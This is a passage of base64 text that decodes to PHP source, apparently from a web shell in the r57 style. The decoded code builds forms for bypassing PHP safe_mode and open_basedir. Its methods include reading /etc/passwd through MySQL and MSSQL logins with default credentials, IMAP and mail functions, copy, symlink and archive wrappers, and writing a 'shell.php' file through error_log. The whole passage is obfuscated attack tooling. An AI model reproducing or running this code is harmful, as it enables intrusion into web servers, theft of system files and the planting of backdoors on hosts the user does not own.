BPU1RbJ3Rlc3QxOV9tcCddKTooInBhc3N3b3JkIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDE5X3BvcnQnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTlfcG9ydCddKT8oJF9QT1NUWyd0ZXN0MTlfcG9ydCddKTooIjMzMDYiKSkpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE5X2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTlfZmlsZSddKT8oJF9QT1NUWyd0ZXN0MTlfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxOScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmICRtc3NxbF9vbikKewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODUnXSwnaWQxNCcpLiR0YWJsZV91cDIuZGl2KCdpZDE0JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0NF9tZCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X21kJ10pPygkX1BPU1RbJ3Rlc3Q0X21kJ10pOigibWFzdGVyIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDRfbWwnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9tbCddKT8oJF9QT1NUWyd0ZXN0NF9tbCddKTooInNhIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDRfbXAnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9tcCddKT8oJF9QT1NUWyd0ZXN0NF9tcCddKTooInBhc3N3b3JkIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDRfcG9ydCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X3BvcnQnXSk/KCRfUE9TVFsndGVzdDRfcG9ydCddKTooIjE0MzMiKSkpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0NF9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDRfZmlsZSddKT8oJF9QT1NUWyd0ZXN0NF9maWxlJ10pOigiZGlyIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q0Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmICR1bml4ICYmIEBmdW5jdGlvbl9leGlzdHMoJ21iX3NlbmRfbWFpbCcpICYmIEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjAiKTw9MCl7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTInXSwnaWQxNScpLiR0YWJsZV91cDIuZGl2KCdpZDE1JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0NV9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDVfZmlsZSddKT8oJF9QT1NUWyd0ZXN0NV9maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDUnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdpbWFwX29wZW4nKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdpbWFwX2xpc3QnKSAmJiBAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi4wIik8PTApewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTEzJ10sJ2lkMjAnKS4kdGFibGVfdXAyLmRpdignaWQyMCcpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0Nl9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDZfZmlsZSddKT8oJF9QT1NUWyd0ZXN0Nl9maWxlJ10pOigkZGlyKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDYnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdpbWFwX29wZW4nKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdpbWFwX2JvZHknKSAmJiBAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi4wIik8PTApewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE0J10sJ2lkMjEnKS4kdGFibGVfdXAyLmRpdignaWQyMScpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDdfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q3X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDdfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q3Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKaWYoKCRzYWZlX21vZGUgfHwgJG9wZW5fYmFzZWRpcikgJiYgQGZ1bmN0aW9uX2V4aXN0cygnY29weScpICYmIEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjAiKTw9MCkKewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE1J10sJ2lkMjInKS4kdGFibGVfdXAyLmRpdignaWQyMicpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q4X2ZpbGUxJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDhfZmlsZTEnXSk/KCRfUE9TVFsndGVzdDhfZmlsZTEnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0OCcpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE3J10ud3MoMikuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q4X2ZpbGUyJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDhfZmlsZTInXSk/KCRfUE9TVFsndGVzdDhfZmlsZTInXSk6KCRkaXIpKSkud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsgIAp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdpbmlfcmVzdG9yZScpICYmIEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjAiKTw9MCl7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjAnXSwnaWQyMycpLiR0YWJsZV91cDIuZGl2KCdpZDIzJykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0OV9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDlfZmlsZSddKT8oJF9QT1NUWyd0ZXN0OV9maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDknKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMC4wIik8MCl7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjEnXSwnaWQyNCcpLiR0YWJsZV91cDIuZGl2KCdpZDI0JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxMF9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDEwX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDEwX2ZpbGUnXSk6KCRkaXIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTAnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdnbG9iJykgJiYgQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMiIpPD0wKXsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyMiddLCdpZDE5JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTknKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGlyJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdF9nbG9iYWwnXSk/KCRfUE9TVFsndGVzdF9nbG9iYWwnXSk6KCRkaXIpKSkuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnc2FmZV9kaXInKS5pbignaGlkZGVuJywnZ2xvYicsMCwnZ2xvYicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmIEBmdW5jdGlvbl9leGlzdHMoJ3JlYWxwYXRoJykgJiYgQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuNCIpPD0wKXsKJHNlbGVjdF9uX3JscGggPSAiPHNlbGVjdCBuYW1lPSduX3JscGgnPjxvcHRpb24gdmFsdWU9MT5bIDEgXSAoPDwwLDAxIHNlYyk8L29wdGlvbj48b3B0aW9uIHZhbHVlPTI+WyAyIF0gKDwwLDAxIHNlYyk8L29wdGlvbj4iLgoiPG9wdGlvbiB2YWx1ZT0zIHNlbGVjdGVkPlsgMyBdICg8MSBzZWMgKGRlZmF1bHQpKTwvb3B0aW9uPiIuCiI8b3B0aW9uIHZhbHVlPTQ+WyA0IF0gKDwxMCBzZWMpPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT01PlsgNSBdICg+MTAwIHNlYyAoZGFuZ2VyKSk8L29wdGlvbj48b3B0aW9uIHZhbHVlPTY+WyA2IF0gKD4+MTAwIHNlYyAoZGFuZ2VyKSk8L29wdGlvbj48L3NlbGVjdD4iOwplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQ1J10sJ2lkNDEnKS4kdGFibGVfdXAyLmRpdignaWQ0MScpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkaXInLDMwLCghZW1wdHkoJF9QT1NUWydkaXJfcmxwaCddKT8oJF9QT1NUWydkaXJfcmxwaCddKTooJGRpcikpKS53cygyKS4nPGI+Jy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTUnXS4nPC9iPicud3MoMikuaW4oJ3RleHQnLCdlbmRfcmxwaCcsNiwoIWVtcHR5KCRfUE9TVFsnZW5kX3JscGgnXSk/KCRfUE9TVFsnZW5kX3JscGgnXSk6KCcucGhwJykpKS53cygyKS5pbignaGlkZGVuJywnY21kJywwLCdzYWZlX2RpcicpLndzKDIpLic8Yj4nLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNDYnXS4nPC9iPicud3MoMikuJHNlbGVjdF9uX3JscGgud3MoMikuaW4oJ2hpZGRlbicsJ3JlYWxwYXRoJywwLCdyZWFscGF0aCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmIEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjIiKTw9MCkKewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMwJ10sJ2lkMjUnKS4kdGFibGVfdXAyLmRpdignaWQyNScpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxMV9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDExX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDExX2ZpbGUnXSk6KCR0ZW1wZGlyLid0ZXN0LnppcCcpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTEnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOyAgCn0KCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmIEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjIiKTw9MCkKewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTIzJ10sJ2lkMjYnKS4kdGFibGVfdXAyLmRpdignaWQyNicpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxMl9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDEyX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDEyX2ZpbGUnXSk6KCR0ZW1wZGlyLid0ZXN0LmJ6aXAnKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDEyJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsgIAp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdlcnJvcl9sb2cnKSAmJiBAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi4yIik8PTApCnsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyNCddLCdpZDI3JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjcnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY1J10uIiAiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTNfZmlsZTInLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTNfZmlsZTInXSk/KCRfUE9TVFsndGVzdDEzX2ZpbGUyJ10pOigkZGlyLiJzaGVsbC5waHAiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDEzJykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDEzX2ZpbGUxJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDEzX2ZpbGUxJ10pPygkX1BPU1RbJ3Rlc3QxM19maWxlMSddKTooIjw/IHBocGluZm8oKTsgPz4iKSkpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEwJ10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOyAgCn0KCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmIEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjIiKTw9MCkKewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI2J10sJ2lkMjgnKS4kdGFibGVfdXAyLmRpdignaWQyOCcpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTRfZmlsZTInLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTRfZmlsZTInXSk/KCRfUE9TVFsndGVzdDE0X2ZpbGUyJ10pOigkZGlyKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE0JykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE0X2ZpbGUxJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE0X2ZpbGUxJ10pPygkX1BPU1RbJ3Rlc3QxNF9maWxlMSddKTooIjw/IHBocGluZm8oKTsgPz4iKSkpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEwJ10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOyAgCn0KCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmIEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjQiKTw9MCkKewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMzJ10sJ2lkMzknKS4kdGFibGVfdXAyLmRpdignaWQzOScpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MThfZmlsZTInLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MThfZmlsZTInXSk/KCRfUE9TVFsndGVzdDE4X2ZpbGUyJ10pOigkZGlyKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE4JykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE4X2ZpbGUxJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE4X2ZpbGUxJ10pPygkX1BPU1RbJ3Rlc3QxOF9maWxlMSddKTooIjw/IHBocGluZm8oKTsgPz4iKSkpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEwJ10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOyAgCn0KCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmIEBmdW5jdGlvbl9leGlzdHMoJ3JlYWRmaWxlJykgJiYgQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMiIpPD0wKQp7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjcnXSwnaWQyOScpLiR0YWJsZV91cDIuZGl2KCdpZDI5JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NSddLiIgIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE1X2ZpbGUyJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE1X2ZpbGUyJ10pPygkX1BPU1RbJ3Rlc3QxNV9maWxlMiddKTooJGRpci4ic2hlbGwucGhwIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxNScpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxNV9maWxlMScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxNV9maWxlMSddKT8oJF9QT1NUWyd0ZXN0MTVfZmlsZTEnXSk6KCI8PyBwaHBpbmZvKCk7ID8+IikpKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMCddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsgIAp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi40Iik8PTApCnsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyOSddLCdpZDE2JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTYnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY1J10uIiAiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTZfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxNl9maWxlJ10pPygkX1BPU1RbJ3Rlc3QxNl9maWxlJ10pOigkZGlyLiJ0ZXN0LnBocCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTYnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOyAgCn0KCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmIEBmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKSAmJiBAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi4yIik8PTApCnsKZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMxJ10sJ2lkMTcnKS4kdGFibGVfdXAyLmRpdignaWQxNycpLiR0czsKZWNobyAiPHRyPjx0ZCB2YWxpZ249dG9wIHdpZHRoPTcwJT4iLiR0czsKZWNobyBzcigyMCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLCRmcy5pbigndGV4dCcsJ3Rlc3QxN19maWxlJyw2MCwoIWVtcHR5KCRfUE9TVFsndGVzdDE3X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDE3X2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTdfMScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzNiddKS4kZmUpOwplY2hvICR0ZS4iPC90ZD48dGQgdmFsaWduPXRvcCB3aWR0aD0zMCU+Ii4kdHM7CmVjaG8gc3IoMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTdfMicpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkuJGZlKTsKZWNobyAkdGUuIjwvdGQ+PC90cj4iOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMTsgIAp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdzeW1saW5rJykgJiYgQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMiIpPD0wKQp7CmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzMiddLCdpZDE4JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTgnKS4kdHM7CmVja